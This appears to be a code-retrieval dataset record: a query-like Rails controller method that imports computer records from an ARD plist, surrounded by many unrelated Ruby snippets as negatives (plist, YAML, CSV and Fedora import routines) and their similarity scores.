ArtworkInternalDiscussionPlugin::write_report\n \n ReaktoruserArtworkgroupsPlugin::flush_logs\n ReaktoruserArtworkgroupsPlugin::write_report\nend", "def import\n Rails.logger.info(\"Beginning import of TripAdvisor location data\")\n data = JSON.parse(io.read)\n\n import_location(nil, data)\n Rails.logger.info(\"Finished import of TripAdvisor location data\")\n end", "def load_provisions(dirpath)\n Dir.glob(dirpath) do |item|\n namespace = File.basename(item, \".*\")\n provisions = load_yaml(item)\n provisions.each do |key, value|\n provision_key = \"#{key}.#{namespace}\"\n if $provisions[provision_key]\n $provisions[provision_key] = $provisions[provision_key].deep_merge(value)\n else\n $provisions[provision_key] = value\n end\n end\n end\n log_to_file(\"_provisions.yaml\", $provisions.sort_by_key(true).to_h.to_yaml)\nend", "def import_ori(file_path)\n string = IO.read(file_path)\n array = string.split(\"\\n\")\n array.shift\n return array\n end", "def convert_omni_to_json(path)\n # Omnigraffle files are either directories containing a data.plist + linked image assets, or they are simply\n # a data.plist. I'm not sure why Omnigraffle decides to use either -- image assets are sometimes base64\n # encoded inside the data.plist file, rather than being placed in a separate directory.\n data_plist = path\n if File.directory?(path)\n data_plist = File.join(path, \"data.plist\")\n raise \"data.plist not found: #{data_plist}\" unless File.exists?(data_plist)\n end\n temp = Tempfile.new(\"omni\")\n temp2 = Tempfile.new(\"json_plist\")\n begin\n # Omnigraffle gzips its plist file.\n `gzcat #{Shellwords.escape(data_plist)} > #{Shellwords.escape(temp.path)}`\n # `plutil` comes with Apple's developer tools. http://stackoverflow.com/q/6066350\n # Note that if Omnigraffle's plist contains a <data></data> block, plutil will fail with this error:\n # invalid object in plist for destination format\n # The workaround is to replace <data> blocks with <string>. AFAICT <data> blocks are used to embed some\n # image data, and removing these blocks won't affect our goal of computing the coordinates of shapes.\n sanitized_plist = File.read(temp.path).gsub(/<data>.*?<\\/data>/m, \"<string></string>\")\n File.write(temp.path, sanitized_plist)\n command = \"plutil -convert json #{Shellwords.escape(temp.path)} -o #{Shellwords.escape(temp2.path)}\"\n puts `#{command}`\n return JSON.parse(File.read(temp2.path))\n ensure\n temp.unlink\n temp2.unlink\n end\nend", "def import( file, project, input, options = {})\n # TODO - is there a default .. XML .. ?? - can't think of suitable one !\n # - if no suitable default exists raise error cos no abstract in Ruby\n end", "def load_genre_list()\n File.open('./genre_list')\nend", "def create_index_file\n return [] unless File.exist? path\n\n RelatonBib.parse_yaml File.read(path, encoding: \"UTF-8\"), [Symbol]\n end", "def import\n DispensarySourceProduct.import(params[:file])\n flash[:success] = 'Dispensary Source Products were successfully imported'\n redirect_to dispensary_source_products_admin_path \n end", "def import_directory(file_name)\n n_contacts = 0\n\n file_as_array = IO.readlines(file_name)\n\n file_as_array.each do |contact|\n dato_split = contact.split(';')\n @directory[dato_split[0]] = dato_split[1]\n n_contacts += 1\n end\n\n # puts \"--------------------------------------------------------------\\n\" \\\n # \"Se importaron #{n_contacts} contactos desde el directorio local.\\n\" \\\n # \"--------------------------------------------------------------\\n\"\n end", "def load_database_yaml; end", "def load_database_yaml; end", "def load(filename)\n # Note: Must get a first name and last name\n # Note: Phone should be formatted (###) ###-####\n # Note: Assume you'll always have a valid id\n # Return true \n raise \"Not implemented\"\n end", "def import\n update_attribute(:published_at, Time.now)\n @tyra = Tyra.new(0)\n @tyra.import({ \"meta\" => metadata, \"data\" => data })\n end", "def validateInfoPlist(file_path)\n puts \"Validating info.plist\"\n\txmldoc = XmlSimple.xml_in(file_path)\n\txmlkeys= xmldoc['dict']\n\tkey=[\"a\"]\n\tvalue=[\"a\"]\n\ti=0;\t\n\txmlkeys[0].each do |data|\n\t if i==0\n\t\tkey=data\n\t elsif i==1\n\t\tvalue=data\n\t end\n\t i=i+1\n\tend\n\tkey=key[1]\n\tvalue=value[1]\n\ti=0;\n\tkey.each do |key_data|\n\t\tif key_data==\"bookDirectory\" || key_data==\"bookID\"\n\t\t\ttemp=value[i].split(\"com.medhand.books.\").last\n\t\t\tif temp.include?\".\"\n\t\t\t\tputs \"info.plist: Invalid value for \"+key_data + \"\\n\"+value[i]\n\t\t\t\texit\n\t\t\tend\n\t\t\tif !(value[i]==@book_full_name)\n\t\t\t puts key_data+\" value mismatch- \"+value[i]\n\t\t\t puts \"Expected: \"+@book_full_name\n\t\t\t exit\n\t\t\tend\n\t\tend\n\t\ti=i+1\n\tend\nend", "def ingest_object(row)\n\n @touch = File.join(\"/tmp\", row[\"exportedAs\"])\n \n unless File.exists?(@touch)\n obj = File.join(@directory, File.basename(row[\"exportedAs\"].gsub('\\\\', '/')))\n sourceFile = File.join(obj,File.basename(row[\"exportedAs\"].gsub('\\\\', '/')))\n \n if File.exists?(obj)\n # Gets a new PID\n pid = Nokogiri::XML(open(@fedora_uri + \"/management/getNextPID?xml=true&namespace=#{@fedora_ns}\", {:http_basic_authentication=>[@fedora_user, @fedora_pass]})).xpath(\"//pid\").text\n \n #testing stuff\n #pid = \"druid:1\"\n \n fedora_obj = AimsDocument.new(:pid => pid)\n fedora_obj.label = File.basename(obj)\n fedora_obj.save\n print obj + \" ===> \"\n # now glob the object directory and makes datastreams for each of the files and add them as datastream to the fedora object.\n # fedora_obj.save\n \n dsid = 'rightsMetadata'\n xml_content = fedora_obj.datastreams_in_memory[dsid].content\n ds = Hydra::RightsMetadata.from_xml(xml_content)\n pid = fedora_obj.pid\n ds.pid = pid\n ds.dsid = dsid\n fedora_obj.datastreams_in_memory[dsid] = ds\n permissions = {\"group\"=>{\"public\"=>\"read\", \"archivist\" => \"edit\", \"researcher\" => \"read\", \"patron\" => 'read', \"donor\" => 'edit' }, \"person\" => {\"archivist1\" => \"edit\"}}\n ds.update_permissions(permissions)\n permissions = {\"group\" => {\"public\"=>\"read\"}}\n ds.update_permissions(permissions)\n \n fedora_obj.save\n \n Dir[\"#{obj}/**/**\"].each do |f|\n \n #damn OS X spotlight. \n unless f.include?('DS_Store')\n \n # text files and jp2000s get added as datastreams in the object. the wordperfect files get added as their own objects\n if f =~ /(.*)\\.(txt)/\n fedora_obj.add_datastream(create_file_ds(f, File.basename(f), File.basename(f)))\n \n elsif f =~ /(.*)\\.(pdf)/\n fedora_obj.add_datastream(create_file_ds(f, 'pdf', \"#{File.basename(f)}.pdf\"))\n elsif f =~ /(.*)\\.(jp2)/\n # Below is if you want to not have the jp2 imported into fedora. it will just move them to a directory.\n #jp2_dir = File.join('/tmp', fedora_obj.pid.gsub(\"druid:\", \"druid_\"))\n #FileUtils.mkdir_p(jp2_dir) unless File.directory?(jp2_dir)\n #FileUtils.cp(f, jp2_dir, :verbose => true)\n # Below this adds the jp2000s into fedora.\n fedora_obj.add_datastream(create_file_ds(f, File.basename(f), File.basename(f)))\n\t\t elsif f == sourceFile #source file gets its own fedora object. \n cpid = Nokogiri::XML(open(@fedora_uri + \"/management/getNextPID?xml=true&namespace=#{@fedora_ns}\", {:http_basic_authentication=>[@fedora_user, @fedora_pass]})).xpath(\"//pid\").text\n \n child_obj = FileAsset.new(:pid => cpid)\n child_obj.label = File.basename(f)\n dc = child_obj.datastreams['descMetadata']\n dc.extent_values << File.size(f)\n \n \n fedora_obj.add_relationship(:has_part, child_obj )\n fedora_obj.add_relationship(:has_collection_member, child_obj)\n puts \"processing:#{f} for objectID #{cpid}\"\n ext = File.extname(f)\n id = \"DS1\"\n label = File.basename(f)\n child_obj.add_datastream(create_file_ds(f, id, label ))\n child_obj.save\n print f + \"\\n\"\n else\n puts \"not a file to ingest ==> #{f}\"\n end #if\n end #unless\n end #dir\n \n dm = fedora_obj.datastreams[\"descMetadata\"]\n prop = fedora_obj.datastreams[\"properties\"]\n \n labels = row[\"labels\"].split(',')\n \n loutput = {\"subjects\" => [], \"access\" => []}\n doc_values = { \"D\" => \"Document\", \"S\" => \"Spreadsheet\", \"E\" => \"Email\", \"IM\" => \"Image\", \"V\" => \"Video\", \"SO\" => \"Sound\"} \n comp_values = {\"CM:5.25\" => \"5.25 inch. floppy diskettes\", \"CM:3.5\" => \"3.5 inch. floppy diskettes\", \"CM:P\" => \"Punch cards\", \"CM:T\" => \"Tape\" }\n access_values = {\"O\" => \"owner\", \"A\" => \"Archivists\", \"I\" => \"Invited\", \"P\" =>\"Public\", \"M\"=>\"Reading\"}\n \n \n labels.each do |l|\n if doc_values.has_key?(l)\n loutput[\"doctype\"] = doc_values[l]\n elsif comp_values.has_key?(l)\n loutput[\"mediatype\"] = comp_values[l]\n elsif access_values.has_key?(l)\n loutput[\"access\"] << access_values[l]\n elsif l.include?(\"S:\")\n loutput[\"subjects\"] << l.gsub(\"S:\", '') \n end #if\n end #do\n \n pp(loutput)\n prop.collection_values << \"Steven J. Gould\"\n prop.pages_values << number_of_pages(fedora_obj)\n prop.path_values << row['path']\n prop.file_size_values << row['size']\n prop.md5_values << row['md5']\n prop.sha1_values << row['sha1']\n prop.file_type_values << row['type']\n prop.filename_values << File.basename(obj)\n \n dm.isPartOf_values = row[\"subseries\"].gsub(/[0-9]|Bookmark:|\\./,\"\").strip\n dm.source_values << row['filename']\n dm.type_values << loutput['doctype']\n dm.format_values << loutput[\"mediatype\"]\n \n \n \n loutput['subjects'].each { |s| dm.subject_values << s.gsub(\"S:\", \"\") }\n \n dm.save\n prop.save\n fedora_obj.save\n\n solr_doc = fedora_obj.to_solr\n solr_doc << Solr::Field.new( :discover_access_group_t => \"public\" )\n ActiveFedora::SolrService.instance.conn.update(solr_doc)\n FileUtils.mkdir_p(@touch)\n end #unless\n end #if exists? \n rescue Exception => e \n puts e.backtrace\n\tputs \"erroring....\"\n sleep(300)\n return nil\n rescue Timeout::Error => e\n puts \"timeout error ....\" \n sleep(350)\n\n \n end", "def playlist_params\n params.require(:playlist).permit plist\n end", "def _parse_file_using_import(file, layout, model)\n attributes = {}\n count = 0\n value_sets = []\n column_names = model.columns.map{ |column| column.name }\n not_nces_fields = column_names.select { |name| name[/id/] }\n field_names = column_names - not_nces_fields\n options = { :validate => false }\n mstate_index = field_names.index(\"MSTATE\")\n while (line = file.gets) do\n next if line.strip == ''\n values = []\n layout.each do |label, start_pos, end_pos, length, data_type, description|\n data_str = line[(start_pos-1)..(end_pos-1)].strip.gsub(/[^[:print:]]/, '')\n data_value = case data_type\n when 'N'\n data_str.to_i\n when 'D'\n data_str.to_f\n else\n data_str\n end\n values << data_value\n end\n if @states_and_provinces\n if @states_and_provinces.include?(values[mstate_index])\n value_sets << values\n end\n else\n value_sets << values\n end\n if value_sets.length >= 10\n records = model.import(field_names, value_sets, options)\n value_sets = values = []\n end\n count += 1\n if count % 500 == 0\n print '.'\n STDOUT.flush\n end\n end\n if value_sets.length > 0\n model.import(field_names, value_sets, options)\n end\n puts \"\\n#{count} records processed from #{file.path}\"\n end", "def installs_plist\n plist_virtual_attribute_get(:installs)\n end", "def import(client, project)\n waiter = Importer::NotesImporter\n .new(project, client)\n .execute\n\n AdvanceStageWorker.perform_async(\n project.id,\n { waiter.key => waiter.jobs_remaining },\n :lfs_objects\n )\n end", "def import_folder! folder\n end", "def plist_file\n return @plist_file if defined? @plist_file\n\n name = \"#{resource[:name]}.plist\"\n glob = \"{\" + LAUNCHD_DIRS.join(\",\") + \"}/#{name}\"\n\n @plist_file = Dir[glob].first.to_s or raise \"Can't find #{name}.\"\n end", "def import\n Article.import(params[:file])\n flash[:success] = 'Articles were successfully imported'\n redirect_to article_admin_path \n end", "def to_plist\n @attributes.to_plist\n end", "def import!\n return selected_importer.import!\n end", "def shared_plist_contents\n return %{\n <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\n <!DOCTYPE plist PUBLIC \\\"-//Apple//DTD PLIST 1.0//EN\\\" \\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\">\n <plist version=\\\"1.0\\\">\n <dict>\n <key>CFBundleDevelopmentRegion</key>\n <string>en</string>\n <key>CFBundleExecutable</key>\n <string>$(EXECUTABLE_NAME)</string>\n <key>CFBundleIdentifier</key>\n <string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>\n <key>CFBundleInfoDictionaryVersion</key>\n <string>6.0</string>\n <key>CFBundleName</key>\n <string>$(PRODUCT_NAME)</string>\n <key>CFBundleShortVersionString</key>\n <string>1.0</string>\n <key>CFBundleSignature</key>\n <string>????</string>\n <key>CFBundleVersion</key>\n <string>$(CURRENT_PROJECT_VERSION)</string>\n }\nend", "def import(data)\n data\n end", "def import\n History.import(params[:file])\n redirect_to histories_url\n end", "def load_database(filename)\n \n handle = File.open(filename)\n uncompressed = Zlib::GzipReader.new(handle)\n records = DnaIO.new(uncompressed)\n records.to_a\nend", "def import_params\n params.require(:file)\n end", "def write_plist_file(plist, file_path, format='xml')\n if format == 'xml'\n plist_format = CFPropertyList::List::FORMAT_XML\n else\n plist_format = CFPropertyList::List::FORMAT_BINARY\n end\n\n begin\n plist_to_save = CFPropertyList::List.new\n plist_to_save.value = CFPropertyList.guess(plist)\n plist_to_save.save(file_path, plist_format)\n rescue IOError => e\n fail(\"Unable to write the file #{file_path}. #{e.inspect}\")\n end\n end", "def load(file); end", "def import\n VendorProduct.import(params[:file])\n flash[:success] = 'Vendor Products were successfully imported'\n redirect_to vendor_products_admin_path \n end", "def import\n\n\t\tname_list = []\n\t\tFile.open('tmp/names.yml', 'r') {|f|\n\t\t\tname_list = YAML.load(f.read)\n\t\t}\n\n\t\tfor seimei in name_list\n\t\t\tname = Name.new(:sei => seimei[0], :mei => seimei[1] )\n\t\t\tname.save\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to :action => :index }\n\t\t\tformat.json { render json: @orders }\n\t\tend\n\tend", "def import(from_file)\n read_from_excel(from_file, 0) do |extractor|\n ForexPayment.new(issue_date: ImportHelper::to_date(extractor.call(\"B\")), emp_id: extractor.call(\"C\"),\n emp_name: extractor.call(\"D\"), amount: extractor.call(\"E\"), currency: extractor.call(\"F\"),\n travel_date: ImportHelper::to_date(extractor.call(\"G\")), place: extractor.call(\"H\"),\n project: extractor.call(\"I\"), vendor_name: extractor.call(\"J\"),\n card_number: extractor.call(\"K\"), expiry_date: extractor.call(\"L\"),\n office: extractor.call(\"M\"), inr: extractor.call(\"N\")\n )\n end\n end", "def parse_launch_agent launch_agent\n\t\t\tli = LaunchAgent.new(launch_agent)\n\n\t\t\tbegin\n\t\t\t\tparser = Plist::parse_xml(launch_agent)\n\t\t\t\tsource = open(resolve_symlinks(launch_agent), \"r\").read()\n\t\t\trescue Exception => e\n\t\t\t\t# symlink detected. skip it\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\tif parser.nil? \n\t\t\t\tif source.split(\"\\n\")[0] == LaunchControl::TAG_DISABLED_START\n\t\t\t\t\tli.disabled = true\n\t\t\t\t\tparser = Plist::parse_xml(source.gsub(LaunchControl::TAG_DISABLED_START, \"\").gsub(LaunchControl::TAG_DISABLED_END, \"\"))\n\t\t\t\telse\n\t\t\t\t\treturn false \n\t\t\t\tend\n\t\t\telse\n\t\t\t\tli.disabled = false\n\t\t\tend\n\n\t\t\t\n\t\t\tli.id = Pathname.new(resolve_symlinks launch_agent).basename.to_s.sub(\".plist\", \"\")\n\t\t\tli.name = parser[\"Label\"]\n\t\t\tli.program = parser[\"Program\"]\n\t\t\tli.program_arguments = parser[\"ProgramArguments\"]\n\t\t\tli.run_at_load = parser[\"RunAtLoad\"]\n\t\t\tli.start_interval = parser[\"StartInterval\"]\n\t\t\tli.keep_alive = parser[\"KeepAlive\"]\n\t\t\t#li.disabled = parser[\"Disabled\"]\n\n\t\t\t# Save other keys (mostly app specific)\n\t\t\tparser.each do |k, v|\n\t\t\t\tunless [\"Label\", \"Program\", \"ProgramArguments\", \"RunAtLoad\", \"StartInterval\", \"KeepAlive\", \"Disabled\"].include? k\n\t\t\t\t\tli.meta[k.to_sym] = v\n\t\t\t\tend\n\t\t\tend\n\t\t\tli\n\t\tend", "def load_form( filename )\n\t\tdatafile = MIMEPARSER_DATADIR + filename\n\t\treturn datafile.open( 'r', encoding: 'ascii-8bit' )\n\tend", "def load_file(f)\n @list_link = []\n YAML.load_file(f).each { |e|\n link = Link.new e[0], e[1]\n link.exclude = e[2] if e.size > 2\n @list_link << link\n }\n check_possibility\n @list_link_copy = Array.new @list_link\n end", "def test_flame_2014_stabilizer_import\n fixture = File.open(File.dirname(__FILE__) + '/samples/flame_stabilizer/stabilizer_2014_stp.stabilizer')\n trackers = Tracksperanto::Import::FlameStabilizer.new(:io => fixture).to_a\n assert_equal 2, trackers.length\n assert_equal 56, trackers[0].length\n assert_equal 56, trackers[1].length\n end", "def load; end", "def load; end", "def load; end", "def load(filename)\n\t\tend", "def import\n log.debug(\"Importing from #{@location}\")\n id = File.basename(@location)\n record = storage_engine.get_by_id(id)\n raise MainControllerError, \"Cannot import a non-exist record\" if record.nil?\n record.whitelist = file_rw_manager.read(\"#{@location}/whitelist\")\n record.blacklist = file_rw_manager.read(\"#{@location}/blacklist\")\n record.qual = \"true\"\n record.auditor = @auditor\n storage_engine.update(record)\n log.info(\"Qualified record #{id} has been successfully imported\")\n end", "def import\n redirect_to({:action => :index, :offset => params[:offset]}, :alert => I18n.t('couchbase_i18n.translation.no_import_file_given')) and return unless params[:importfile].present?\n filename = params[:importfile].original_filename\n extension = filename.sub(/.*\\./, '')\n if extension == 'yml'\n hash = YAML.load_file(params[:importfile].tempfile.path) rescue nil\n redirect_to({:action => :index, :offset => params[:offset]}, :alert => I18n.t('couchbase_i18n.translation.cannot_parse_yaml')) and return unless hash\n CouchbaseI18n.traverse_flatten_keys(hash).each do |key, value|\n existing = CouchbaseI18n::Translation.find_by_translation_key(key)\n if existing\n if existing.translation_value != value\n existing.translation_value = value\n existing.translated = true\n existing.save\n end\n else\n CouchbaseI18n::Translation.create :translation_key => key, :translation_value => value\n end\n end \n else\n redirect_to({:action => :index, :offset => params[:offset]}, :alert => I18n.t('couchbase_i18n.translation.no_proper_import_extension', :extension => extension)) and return \n end\n redirect_to({:action => :index, :offset => params[:offset]}, :notice => I18n.t('couchbase_i18n.translation.file_imported', :filename => filename))\n end" ]
[ "0.5882623", "0.5781075", "0.5724537", "0.5577608", "0.54625356", "0.5457406", "0.5362554", "0.5349211", "0.53478014", "0.53280187", "0.5304876", "0.52994376", "0.52994376", "0.52613354", "0.5257199", "0.52511007", "0.52511007", "0.52426434", "0.52337337", "0.51598406", "0.5071682", "0.50689167", "0.50570303", "0.5051092", "0.5037339", "0.5019106", "0.50102913", "0.499201", "0.49689764", "0.49606046", "0.4955854", "0.49516585", "0.495158", "0.49449736", "0.48997492", "0.4894874", "0.4889609", "0.4884131", "0.48693305", "0.48662737", "0.48661816", "0.48538426", "0.48478788", "0.48451415", "0.48411193", "0.48401606", "0.48392296", "0.48298475", "0.48269308", "0.48112965", "0.48100194", "0.4794201", "0.47941473", "0.47863322", "0.4784584", "0.47845563", "0.47801006", "0.47736892", "0.4772098", "0.4770931", "0.47708422", "0.47600168", "0.47533992", "0.47533992", "0.4750075", "0.47478443", "0.47428584", "0.47424242", "0.47410235", "0.474061", "0.47402743", "0.47387725", "0.47356927", "0.4731721", "0.47279614", "0.47266284", "0.4725019", "0.47131953", "0.47122976", "0.47076112", "0.47040257", "0.47013706", "0.4699341", "0.46987483", "0.46985716", "0.469582", "0.4687155", "0.4684686", "0.46836388", "0.46801046", "0.4677061", "0.46770006", "0.46770006", "0.46770006", "0.46700156", "0.46673676", "0.46613437" ]
0.500104
30
Take ARD plist and create new computer objects TODO when a computer object import fails, tell the user what went wrong (by print the computer.errors hash)
def create_import begin @computers = ComputerService.import(params[:computer],current_unit) rescue NoMethodError e = "Please select a plist file" rescue => e end unless @computers.nil? @total = @computers.count # Save each computer. If it doesn't save, leave it out of the array @computers = @computers.collect {|e| e if e.save}.compact end respond_to do |format| if @computers.nil? flash[:error] = "There was a problem while parsing the plist: #{e}" format.html { redirect_to import_new_computer_path(current_unit) } elsif @computers.count > 0 flash[:notice] = "#{@computers.count} of #{@total} computers imported into #{@computers.first.computer_group}" format.html { redirect_to computers_path(current_unit) } else flash[:warning] = "Zero computers were imported. Did the ARD list have any members?" format.html { redirect_to computers_path(current_unit) } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_import\n begin\n @computers = ComputerService.import(params[:computer],current_unit)\n rescue NoMethodError\n end\n \n unless @computers.nil?\n @total = @computers.count\n # Save each computer. If it doesn't save, leave it out of the array\n @computers = @computers.collect {|e| e if e.save}.compact\n end\n \n respond_to do |format|\n if @computers.nil?\n flash[:error] = \"There was a problem while parsing the plist\"\n format.html { redirect_to import_new_computer_path }\n elsif @computers.count > 0\n flash[:notice] = \"#{@computers.count} of #{@total} computers imported into #{@computers.first.computer_group}\"\n format.html { redirect_to computers_path }\n else\n flash[:warning] = \"Zero computers were imported. Did the ARD list have any members?\"\n format.html { redirect_to computers_path }\n end\n end\n end", "def create_species_and_data\n # Entrance message\n puts \"** Creating new species from lifeviz/ubiota files using hagrid_ubid as the bridge\"\n puts \" Note! New species are species with data imported from lifeviz. Orphaned species \"\n puts \" are ubiota species with no associated lifeviz data.\"\n new_species = []\n orphaned_species = []\n \n # Open files\n lifeviz, ubiota, map = nil\n seed \"Opening data files\" do\n lifeviz = IO.popen(\"bunzip2 -c #{LIFEVIZ}\")\n ubiota = IO.popen(\"bunzip2 -c #{UBIOTA}\")\n map = IO.readlines(LIFEVIZ_UBIOTA)\n lifeviz && ubiota && map ? true : false\n end\n\n # Dump all species\n seed \"Removing existing species.\"\n progress \"Deleting\", Species.count do |progress_bar|\n Species.all.each do |species|\n species.delete\n progress_bar.inc\n end\n end\n\n # Dump all related data\n seed \"Removing any existing age, litter sizes, adult weights, birth weights data\" do\n Lifespan.delete_all && LitterSize.delete_all && AdultWeight.delete_all && BirthWeight.delete_all ? true : false\n end\n\n # Load taxon from lifeviz, let's use hpricot\n lifeviz_species, lifeviz_ages, lifeviz_development, lifeviz_refs = nil\n seed \"Loading lifeviz data with hpricot\" do\n doc = Hpricot::XML(lifeviz)\n lifeviz_species = (doc/'names')\n lifeviz_ages = (doc/'age')\n lifeviz_development = (doc/'development')\n lifeviz_refs = (doc/'refs')\n (lifeviz_species.size > 0 && lifeviz_ages.size > 0 && lifeviz_development.size > 0 && lifeviz_refs.size > 0) ? true : false\n end\n notice \"#{lifeviz_species.size} species loaded with #{lifeviz_ages.size} ages\"\n\n # Create new species array to load lifeviz species and attributes we want\n seed \"Loading new species and storing lifeviz data from lifeviz dump\"\n development_index = ref_index = 0\n progress \"Storing\", lifeviz_species.length do |progress_bar|\n lifeviz_species.each_with_index do |s, index|\n hagrid = (s/'id_hagr').inner_html.to_i\n x = {}\n x[:synonyms] = (s/'name_common').inner_html\n x[:age] = (lifeviz_ages[index]/'tmax').inner_html\n x[:context] = (lifeviz_ages[index]/'phenotype').inner_html\n x[:hagrid] = hagrid\n x[:references] = x[:context].scan(/\\[(\\d*)\\]/).flatten\n \n while lifeviz_development[development_index] && (lifeviz_development[development_index]/'hagrid').inner_html.to_i < hagrid\n notice \"#{(lifeviz_development[development_index]/'hagrid').inner_html} is less than #{hagrid}\"\n development_index += 1\n end\n # development attributes matches the current species id\n if lifeviz_development[development_index] && (lifeviz_development[development_index]/'hagrid').inner_html.to_i == hagrid\n development = lifeviz_development[development_index]\n if development && (development/'hagrid').inner_html.to_i == hagrid\n x[:adult_weight] = (development/'adult_weight').inner_html.blank? ? \"\" : (development/'adult_weight').inner_html.to_f\n x[:birth_weight] = (development/'birth_weight').inner_html.blank? ? \"\" : (development/'birth_weight').inner_html.to_f\n x[:litter_size] = (development/'litter_size').inner_html.blank? ? \"\" : (development/'litter_size').inner_html.to_f\n else\n x[:adult_weight] = \"\"\n x[:birth_weight] = \"\"\n x[:litter_size] = \"\"\n end\n development_index += 1\n end\n new_species << x\n progress_bar.inc\n end\n end\n notice \"#{new_species.length} new species stored\"\n\n # Load ubid ids into new species from mapping\n seed \"Loading mapped ubiota ids into new species\" do\n new_species_pointer = 0\n map.each do |line|\n hagrid, ubid = line.split(/\\s+/)\n while new_species[new_species_pointer] && hagrid.to_i != new_species[new_species_pointer][:hagrid]\n new_species_pointer += 1\n end\n new_species[new_species_pointer][:ubid] = ubid.to_i if new_species[new_species_pointer]\n end\n end\n\n # Remove any new species that have no ubid from mapping\n count = new_species.size\n seed \"Delete any new species that do not have a ubiota id mapped\", \n :success => \"Mappings completed\", \n :failure => \"No species had mappings\" do\n new_species.delete_if { |species| species[:ubid] == nil }\n new_species.length != 0 ? true : false\n end\n notice \"deleted #{count - new_species.size} species, #{new_species.size} remaining\"\n\n # Sort species by ubid\n seed \"Sorting new species by ubid\" do\n new_species = new_species.sort_by { |each| each[:ubid] }\n true\n end\n\n # Find and load ubiota genus ids and species name for each species\n # Ensure the rank is 6 (species level)\n # Set taxon_id to nil if the species inside ubiota doesn't exist\n seed \"Looking up and loading each new species' genus id from the ubiota data\"\n x = 0\n a_couple = 0\n num_lines = num_lines_bz2(UBIOTA)\n progress \"Matching\", num_lines do |progress_bar|\n ubiota.each do |line|\n id, term, rank, hierarchy, parent_id, num_children, hierarchy_ids = line.split(\"|\")\n # skip if we're not looking at a species level taxon\n if rank.to_i != 6\n progress_bar.inc\n next\n end\n if new_species[x].nil? || id.to_i != new_species[x][:ubid]\n y = {:taxon_id => parent_id.to_i, :name => term.to_s}\n orphaned_species << y\n if !new_species[x].nil? then new_species[x][:taxon_id] = nil end\n if !new_species[x].nil? && id.to_i > new_species[x][:ubid] then x += 1 end\n else\n new_species[x][:taxon_id] = parent_id.to_i\n new_species[x][:name] = term.to_s\n x += 1\n end\n progress_bar.inc\n end\n end\n notice \"traversed #{x} new species and #{orphaned_species.size} orphaned species\"\n\n # Remove any new species that has no genus in ubiota\n count = new_species.size\n seed \"Delete any species that had no genus id\" do\n new_species.delete_if { |species| species[:taxon_id] == nil }\n end\n notice success_string(\"deleted #{count - new_species.size} species, #{new_species.size} remaining\")\n\n # Remove any orphaned species that has no genus in ubiota\n count = orphaned_species.size\n seed \"Delete any orphaned species that had no genus id\" do\n orphaned_species.delete_if { |species| species[:taxon_id] == 0 }\n end\n notice success_string(\"deleted #{count - orphaned_species.size} species, #{orphaned_species.size} remaining\")\n\n # Create species with all the new species stored in memory\n count = species_without_parents = 0\n seed \"Saving all of the new species.\"\n\n progress \"Species\", new_species.length do |progress_bar|\n new_species.each_with_index do |taxon, index|\n s = new_species[index]\n species = Taxon.new(:name => s[:name], :parent_id => s[:taxon_id], :rank => 6, :id => s[:ubid])\n species.send(:create_without_callbacks)\n # # This was commented out because we're using Cera's lifespan data now.\n # unless s[:age].blank?\n # s[:references].each do |reference_id|\n # lifespan = Lifespan.new(:value_in_days => (s[:age].to_f * 365), :units => \"Years\", :species_id => species.id)\n # lifespan.context = s[:context]\n # lifespan.citation = Reference.find(reference_id).to_s\n # lifespan.created_by = ANAGE_USER_ID\n # lifespan.created_by_name = ANAGE_USER_NAME\n # lifespan.send(:create_without_callbacks)\n # end\n # end\n BirthWeight.new(\n :value_in_grams => (s[:birth_weight]),\n :units => \"Grams\",\n :species_id => species.id,\n :created_by => ANAGE_USER_ID,\n :created_by_name => ANAGE_USER_NAME\n ).send(:create_without_callbacks) unless s[:birth_weight].blank?\n AdultWeight.new(\n :value_in_grams => (s[:adult_weight]),\n :units => \"Grams\",\n :species_id => species.id,\n :created_by => ANAGE_USER_ID,\n :created_by_name => ANAGE_USER_NAME\n ).send(:create_without_callbacks) unless s[:adult_weight].blank?\n LitterSize.new (\n :value => (s[:litter_size]),\n :species_id => species.id,\n :created_by => ANAGE_USER_ID,\n :created_by_name => ANAGE_USER_NAME\n ).send(:create_without_callbacks) unless s[:litter_size].blank?\n count = index\n progress_bar.inc\n end\n end\n notice success_string(\"saved #{count - species_without_parents} species\")\n notice success_string(\"saved #{Lifespan.count} ages\")\n notice success_string(\"saved #{AdultWeight.count} adult weights\")\n notice success_string(\"saved #{BirthWeight.count} birth weights\")\n notice success_string(\"saved #{LitterSize.count} litter sizes\")\n notice failure_string(\"#{species_without_parents} species didn't have taxons matching taxon_id in our database\") if species_without_parents != 0\n\n # Create orphaned species with all the species stored in memory\n count = 0\n species_without_parents = 0\n seed \"Saving all the orphaned species\"\n progress \"Saving orphans\", orphaned_species.length do |progress_bar|\n orphaned_species.each_with_index do |s, index|\n taxon = Taxon.find_by_id(s[:taxon_id])\n if taxon == nil\n # notice failure_string(\"no taxon found with an id of #{s[:taxon_id].to_s} for species with ubid of #{s[:ubid].to_s}\")\n species_without_parents += 1\n else\n species = Taxon.new(:name => s[:name], :parent_id => taxon.id, :rank => 6)\n species.send(:create_without_callbacks)\n end\n count = index\n progress_bar.inc\n end\n end\n notice success_string(\"Phew!... saved #{count - species_without_parents} species\")\n notice failure_string(\"#{species_without_parents} species didn't have taxons matching taxon_id in our database\") if species_without_parents != 0\n\n seed \"Rebuilding heirarchical tree\" do\n Taxon.rebuild!\n end\n\n seed \"Vacuuming database\" do\n SQL.execute \"VACUUM ANALYZE;\"\n end\n\n notice \"Species creation is completed.\"\nend", "def ingest_object(row)\n\n @touch = File.join(\"/tmp\", row[\"exportedAs\"])\n \n unless File.exists?(@touch)\n obj = File.join(@directory, File.basename(row[\"exportedAs\"].gsub('\\\\', '/')))\n sourceFile = File.join(obj,File.basename(row[\"exportedAs\"].gsub('\\\\', '/')))\n \n if File.exists?(obj)\n # Gets a new PID\n pid = Nokogiri::XML(open(@fedora_uri + \"/management/getNextPID?xml=true&namespace=#{@fedora_ns}\", {:http_basic_authentication=>[@fedora_user, @fedora_pass]})).xpath(\"//pid\").text\n \n #testing stuff\n #pid = \"druid:1\"\n \n fedora_obj = AimsDocument.new(:pid => pid)\n fedora_obj.label = File.basename(obj)\n fedora_obj.save\n print 